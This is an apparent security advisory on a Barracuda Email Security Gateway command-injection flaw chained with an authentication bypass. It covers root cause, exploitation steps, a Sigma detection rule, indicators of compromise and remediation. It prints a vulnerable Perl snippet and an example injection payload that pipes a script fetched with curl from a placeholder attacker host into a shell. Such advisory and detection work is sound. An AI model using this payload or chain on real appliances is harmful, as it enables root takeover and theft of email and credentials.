CVE-2026-111560: Barracuda Email Security Gateway Timezone & Backup OS Command Injection
Barracuda Networks Email Security Gateway (ESG) appliances are vulnerable to an operating system command injection flaw (CVE-2026-111560) added to the CISA Known Exploited Vulnerabilities (KEV) catalog on November 10, 2026. Attackers chain this vulnerability with the pre-authentication authorization bypass (CVE-2026-116606) to bypass login requirements entirely. By submitting crafted configuration backup archives or malformed timezone strings, threat actors trigger unescaped root shell commands on the appliance. Successful exploitation results in complete takeover of the perimeter mail security gateway, enabling attackers to intercept and alter email flows, harvest domain credentials, and establish persistent backdoors into protected enterprise networks. Immediate application of hotfixes BNSF-40425 and BNSF-40430 is required.
HERMES THREAT SCORE & ENTERPRISE RISK EVALUATION
Target:Barracuda Email Security Gateway Web Administration and Backup Processing Subsystem While CVSS v3.1 rates isolated command injection at 8.8 (High) due to required authentication, Hermes diverges to HTS 96 (CRITICAL). In actual threat campaigns, adversaries chain CVE-2026-111560 with CVE-2026-116606, rendering the exploit zero-authentication and zero-click against Internet-facing perimeter appliances. Barracuda appliances maintain raw access to inbound/outbound corporate communications and internal routing paths, providing optimal ground for persistent espionage.
1. Executive Summary & Operational Context
Section titled โ1. Executive Summary & Operational ContextโThe Barracuda Email Security Gateway (ESG) is an enterprise email security appliance deployed on perimeter networks to filter spam, detect phishing campaigns, and inspect email traffic before delivering messages into internal mail servers (such as Microsoft Exchange or Lotus Notes).
On November 10, 2026, the Cybersecurity and Infrastructure Security Agency (CISA) added CVE-2026-111560 to the Known Exploited Vulnerabilities (KEV) catalog. When chained with CVE-2026-116606, unauthenticated adversaries can execute arbitrary commands with root privileges. Threat actors utilize this access to deploy stealthy rootkits, intercept sensitive emails, and pivot into the internal network via established VPN and administrative tunnels.
2. Technical Vulnerability Analysis & Root Cause
Section titled โ2. Technical Vulnerability Analysis & Root CauseโThe flaw originates in legacy Perl and CGI handlers (backup_restore.cgi and time_config.pm) running inside the administrative web server.
When an administrator updates the appliance timezone or restores an exported configuration archive, the system invokes underlying Linux operating system utilities via Perlโs system() or backtick execution syntax:
# Vulnerable code pattern in legacy configuration handlersub apply_timezone_settings { my ($self, $tz_param) = @_; # Metacharacter check missing: $tz_param contains unsanitized input my $cmd = "/bin/ln -sf /usr/share/zoneinfo/$tz_param /etc/localtime"; system($cmd);}Because $tz_param is derived directly from the user-controlled HTTP parameter without character filtering or escaping, an attacker can append command separators (;, |, &&) and inject arbitrary shell commands.
The Two-Stage Exploitation Chain
Section titled โThe Two-Stage Exploitation Chainโ- Stage 1 (Auth Bypass via CVE-2026-116606): The attacker sends a malformed password change request to
/cgi-mod/index.cgi. Upon failure, the logic flaw grants low-level operator permissions. - Stage 2 (Root RCE via CVE-2026-111560): Using the established session, the attacker sends a POST request to
/cgi-mod/backup_restore.cgior the timezone configuration handler with a payload such asUTC;curl -s http://attacker/stage2.sh|sh;#, gaining immediate root execution.
3. Attack Execution Flow & Weaponization Mechanics
Section titled โ3. Attack Execution Flow & Weaponization Mechanicsโflowchart TD A["Remote Adversary (Internet)"] -->|"Step 1: Exploits CVE-2026-116606<br/>(Password Reset Logic Bypass)"| B["Barracuda ESG Web Interface<br/>(Port 443 / 8000)"] B -->|"Grants Low-Privilege Operator Session"| C["Session Cookie Acquired"] C -->|"Step 2: POST /cgi-mod/backup_restore.cgi<br/>Payload: timezone='UTC;id > /tmp/out;'| D["Vulnerable CGI Handler<br/>(backup_restore.cgi)"] D -->|"Unsanitized Shell Invocation system()"| E["Linux Root Shell (/bin/sh)"] E -->|"Deploys Reverse Shell & Rootkit"| F["Command & Control Server (C2)"] E -->|"T1114.002: Intercepts Corporate Emails"| G["Exfiltrated TLS Email Spool"]4. Forensic Signatures, Detection Queries & IOCs
Section titled โ4. Forensic Signatures, Detection Queries & IOCsโSigma Detection Rule
Section titled โSigma Detection Ruleโtitle: Barracuda ESG Timezone Command Injection Attemptid: 8b4a2e1d-4030-4e11-9a72-f81d11156001status: experimentaldescription: Detects command injection patterns in Barracuda ESG configuration requestslogsource: category: webserverdetection: selection: cs-method: 'POST' cs-uri-stem|contains: - '/cgi-mod/backup_restore.cgi' - '/cgi-mod/index.cgi' cs-uri-query|contains|any: - '%3B' - '%7C' - '%26' - 'curl' - 'wget' - '/bin/sh' condition: selectionlevel: criticalThreat Intelligence & Indicators of Compromise (IOCs)
Section titled โThreat Intelligence & Indicators of Compromise (IOCs)โ| Type | Indicator | Context |
|---|---|---|
| IP Address | 103.152.220[.]14 | C2 host delivering second-stage rootkit |
| IP Address | 194.38.20[.]55 | Scanning and exploitation probing IP |
| IP Address | 45.154.255[.]89 | Reverse proxy staging server |
| File Path | /tmp/.esg_worker | Dropped ELF backdoor executing as root |
| File Path | /var/spool/cron/root | Malicious cron entry checking C2 every 15 minutes |
5. Comprehensive Remediation, Hardening & Mitigation Plan
Section titled โ5. Comprehensive Remediation, Hardening & Mitigation Planโ-
Apply Manufacturer Hotfixes Immediately: Deploy Barracuda firmware patches BNSF-40425 and BNSF-40430 or upgrade to firmware version 9.4.0.030 or later.
-
Isolate ESG Management Interfaces: Restrict access to ports 8000/tcp and 443/tcp management web interfaces to dedicated administrative subnets or bastion VPN hosts. Never expose management ports directly to the public internet.
-
Perform Compromise Assessment: Inspect
/tmp,/var/tmp, and/etc/cron*for unexpected binaries or scripts. Verify system integrity against known-good firmware baselines. -
Revoke and Rotate Credentials: Rotate all appliance root passwords, administrative web interface credentials, LDAP bind account passwords, and SSL/TLS certificates configured on the appliance.